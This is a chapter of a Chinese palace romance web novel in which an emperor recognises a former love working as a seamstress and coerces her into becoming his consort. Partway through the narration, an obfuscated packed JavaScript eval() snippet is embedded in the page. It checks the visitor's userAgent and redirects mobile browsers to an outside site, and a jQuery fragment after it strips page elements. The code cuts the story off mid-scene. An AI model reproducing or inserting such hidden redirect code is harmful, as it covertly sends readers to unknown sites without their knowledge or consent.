默认冷灰
24号文字
方正启体

4. 相认

作者:稚又本书字数:K更新时间:
    江铎没有回应,闻言只是站起了身子,因着他本就比桑晚棠高了许多,再加上身上多年拼杀染上的戾气,一股压迫感也随之俱来。


    桑晚棠尽力压抑住心里腾升的异样感觉,缓缓抬起柔荑,去解江铎的束封。


    越接近江铎,桑晚棠越觉得周身的气息熟悉,只是来不及多想,刚刚触碰到江铎的腰,便听到面前的人再次开了口。


    “为何不抬头?”江铎看着桑晚棠此刻低眉顺眼的模样,眉梢微挑,让人琢磨不透究竟在想什么。


    这已经是他第三次让桑晚棠抬头了。


    桑晚棠指尖一顿,目光在手上来回流转,仅片刻便继续着手上的动作:“奴婢不敢直视陛下圣颜。”


    话落,桑晚棠便已经将束封解下,搁置一旁,正欲去拿量尺,头顶又是一股气流洒下,耳边响起了江铎冷嘲热讽的声音。


    “桑晚棠,你何时变得这般怯懦?”江铎目光沉沉的看着桑晚棠,唇角带着一丝极其冰冷的笑意。


    乍一听到自己的名字,桑晚棠瞳孔微缩,大脑“嗡”的一声炸开,愣了片刻神才后知后觉的后退两步,几乎是下意识的抬头看向江铎。


    四目相对的那一刻,一个眸中透着一丝玩味与阴鸷,一个眸中皆是震惊与不可置信。


    一眼,桑晚棠便认出了他是谁。


    怎么会……


    樱唇嗫嚅半天,依旧不知该说些什么,毫无知觉的指尖一松,“哐啷”一声,量尺掉到了地上。


    将她关在芙华宫,让她亲手绣龙袍……此前的疑问顿时都得到了解释,桑晚棠只觉得心中一阵惊慌和复杂。


    许是被桑晚棠的反应愉悦到,江铎抬手用力的捏起桑晚棠的下巴,俯下身来,语气似是嘲讽:“怎么?这么快便将孤忘了?”


    时隔四年,江铎的眉目间添了几分凌厉与冰寒,少了年少时的那一股舒朗,整个人瞧上去更沉稳了些,似乎是经历了许许多多的事情。


    看着熟悉的面容,意识到对面的人是谁,桑晚棠从片刻的失神中反应过来,僵直的身子恢复了些许。


    江铎的那一句“自作聪明”仿佛还充斥在耳边,桑晚棠一瞬间明白过来,脚步挪动两下,秀眉蹙起。


    江铎在那时不拆穿她,怕是就是为了此刻吧。


    见桑晚棠不语,江铎松开牵制住桑晚棠的手,二人也因此拉开了一些距离。


    手腕蓦的卸了力道,趁此机会,几乎是没有一丝犹豫,桑晚棠转身便欲跑出养心殿,连脚腕上的伤痛都忘记了。


    下一瞬,江铎长腿一跨,抬手便紧紧攥住了桑晚棠的手腕,稍稍使力,便将桑晚棠拽到了自己面前,逼着她与自己对上视线。


    “跑什么?不是还没为孤量好吗?”江铎眸子微眯,手上的力道不断加重,仿佛要将桑晚棠融入自己的骨血一般。


    桑晚棠吃痛,不受控制的唔咛一声,身形一晃,后知后觉的想起自己脚腕上还有伤,硬生生将快溢出的眼泪逼了回去。


    不知是不是自己感觉出了问题,桑晚棠竟觉得桎梏住手腕的那只手松动了许多。


    此刻殿内彻底安静下来,落针可闻,桑晚棠回想起先前那些后妃的下场,心跳愈发震耳。慌乱间,许是莫名还抱着一丝侥幸,微微抬起眼眸。


    灵动无辜又透着一丝局促,对上江铎垂下的眼眸,偏偏这双桃花眸在其脸上愈发的动人心魄:“还请陛下松手,我这便继续为陛下……量体。”


    以往她有求于江铎时,惯是会用这副神情,偏偏江铎又很受用,一贯说不出拒绝的话来。


    但这次江铎神色清明,目光依旧灼热逼人,甚至隐隐流露几分危险:“桑晚棠,你觉得你的这些招数对孤还有用吗?”


    桑晚棠轻颤羽睫,默不作声。


    又是一阵安静,二人之间仿佛是无声的对峙,终了,江铎冷笑一声,似是讽刺,抬手掐住桑晚棠的后颈,俯下身来,鼻尖几乎快要碰到一起。


    对上视线的那一刻,江铎眸子里带着一丝看不透的复杂情绪,喉间溢出一声裹挟着冰碴的冷笑,声音像浸了毒的丝线,细细缠住她战栗的耳膜:“利用孤来一步步筹谋至今,就是为了入宫?”


    偏偏……入的还是皇甫氏一族人的后宫。


    桑晚棠浑身一颤,明显感觉到了江铎的周身低沉的气氛,还未做出反应,唇上便覆上了一个微凉的指腹。


    江铎细细的描摹着桑晚棠的唇角,仿佛在丈量一件破碎的瓷器,带着近乎偏执而矛盾的眷恋与憎恶。


    良久,似是想到了什么,江铎蹙起剑眉,周身戾气一瞬消散,再次看向桑晚棠的眸中已然一片清冷:“晚妃这二字太庸俗,还是做孤的桑美人更衬得你一些。”


    桑晚棠微微睁大眼眸,没想到这么短的时间内江铎便已经将她的身份摸了清楚。


    虽然晚妃这个名分有名无实,但毕竟她也算是上一朝的妃嫔,若真做了江铎的美人怕是又要生出不少事端。


    桑晚棠知晓江铎向来能说出来便做得出来,将她留在身边,或许也只是因为恨她曾利用过他,想以此来泄愤。


    呼吸一轻,桑晚棠有一瞬的慌神,用力掐了掐自己的手心,感受到那一丝疼痛,勉强维持表面镇静:“这……不合礼数。”


    不知缘何,桑晚棠的眼神像是会勾人一般,即便没有刻意,却像是装了一池的春水,泛起涟漪。


    江铎喉间不自觉滚动,看着这张曾让自己魂牵梦绕的脸,从前的记忆顷刻浮现在脑中,身侧修长的手指握在一起,像是要嵌入骨髓。


    待思绪回笼,江铎脸色更冷了几分,眸中渐渐染上几分阴鸷,轻嗤:“礼数?你心里还在想那个蠢货,既如此,孤便让他的灵位看着你是如何背弃他的。”


    桑晚棠指尖一松,喉咙轻轻滚动,知晓江铎这是铁了心要将她留在身边。


    “还愣着做什么?孤的……桑美人。”江铎眉梢轻挑,语气中带着嘲弄,唇角带着一丝若有似无的笑。


    一瞬的迟疑过后,桑晚棠目光落在地上的量尺,弯腰将其捡起,脚步缓慢一拐一瘸的靠近江铎。


    许是察觉了她脚步的虚浮,江铎几不可闻的侧眸瞧了一眼,又像是什么都没看到一般,只一瞬便恢复了原本的模样。


    桑晚棠轻轻将柔荑放在江铎的脊背,顶着江铎那灼人的视线,抬起指尖轻抚过江铎的肩膀、锁骨,一直滑到腰腹,只觉得指尖触碰到一片温热。


    偏偏江铎的眼神又冷的如同地窑里的冰块,连带着周围都弥漫着一股若有似无的寒意,似乎要将人生生冻住。


    测量的整个过程都很安静,只能听到他们彼此的匀称的呼吸声,直到顺利的为江铎量了尺寸,默默的将其记在了心里,桑晚棠才轻轻松了口气。


    恰巧此时,殿外响起了一阵敲门声,隐隐传来福公公的声音:“陛下,要事需要禀报。”


    桑晚棠无意听江铎的政事,自然也懂得避嫌,见此微微福了福身,便转身朝着殿外走去。


    江铎并没有阻拦,只是看着桑晚棠的背影,沉声将人唤了进来:


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16404561|184421||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “进。”


    福公公看着桑晚棠远去,才转身踏进殿内,许是有所察觉氛围的不对,很是小心谨慎:“如今朝中大多官员都已臣服,只有少数皇甫家的余党还在抗衡。”


    江铎闻言不甚在意,只是漫不经心的敲了敲桌案,似是早有预料:“既如此,那便一并处置了。”


    福公公擦了擦额角的汗,面色一紧,显然有些出乎意料,不禁有些迟疑:“陛下这般做民间的舆论岂不是……”


    后面的话福公公没有说出口,但是江铎知道,无非就是落得了一个暴君的名声。


    “照做便是。”江铎只是沉思一秒,便下定了决心,眸中的寒意愈发冰冷。


    他并不在意这些舆论,更何况,他们才是真正的乱臣贼子。


    ……


    踏出养心殿,桑晚棠脚步一瞬间恢复正常,紧绷的心弦彻底放松下来。


    回头看了一眼殿内,没有过多的停留,继续直直的朝着芙华宫的位置走去。


    殿门打开的那一刻青黛立即迎了上去,瞧桑晚棠脸色不太好,不禁有些担忧:“阿棠,你今日可还顺利?”


    桑晚棠摇了摇头,有些心不在焉:“还好,今晚我需要熬的很晚,你自行安置便好。”


    话落,未等青黛反应,便径直的走入了内室,将房门紧紧的关上,徒留青黛一人在门外半知半解。


    待到周围一切嘈杂褪去,桑晚棠坐在床沿边,看着桌案上的针线,脑中思绪乱作一团,不自觉回忆起有关江铎的记忆。


    零星的碎片不断重演,最终定格在他们初遇时。


    那一年正值腊月寒冬,雪花纷落,在地上积了一层又一层,在雪地里走上一圈,不消片刻,鞋子便会被打湿。


    彼时的她尚且年幼,央了阿娘好久,才得以出府去买栗子酥,因为天气寒冷,街上几乎没有多少人。


    也正是此时,她遇到了同样年幼的江铎。


    那时的江铎一无所有,正被人欺凌,小小的他缩成一团,任由其他人对他拳打脚踢,鲜血染红了一片雪,却一言不发。


    那一群为非作歹的贵公子一看便是惯犯,桑晚棠年纪虽小,却也懂得自己该做什么不该做什么,她家世不高,又只是一个庶女,保全自身已是不易。


    她仅仅是看了一眼便离开了。


    不知过了多久,待买了热乎的栗子糕,再次返回途径这里,她留心瞧了一眼。


    那一群人已经离开了,只留江铎半死不活的趴在雪地里,手中死死地攥住一团雪。


    许是看出了江铎的求生意志坚决,最终,桑晚棠还是拿出了一块栗子糕,悄悄蹲下塞到了江铎手中。


    思绪逐渐回笼,桑晚棠恍神了片刻才堪堪将从养心殿带来了情绪消散。


    最终还是将绣花针捏在手里,开始照着图纸上的花纹一针一线的勾勒。


    黄昏最后一点光亮消失,这一绣便绣到了深更半夜,不知不觉窗外已经月上枝头,桑晚棠这才眯了眯略有些发酸的眼睛,将手中的半成品收了起来。


    如今进度只是冰山一角,但她只有九日的时间去绣了,之后的几天还需要加急赶一赶才是。


    此刻夜深人静,烛台上的蜡烛已经燃烧过半,桑晚棠下意识抬手揉了揉脖子,不禁抬头望了一眼窗棂外散着光芒的明月。


    淡淡的银色光辉照在脸上,也不知家里是否一切安好,阿娘听到宫变的消息会不会担心自己……


    待时局稳定,阿娘身子得到根治,她一定带阿娘远离京城。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)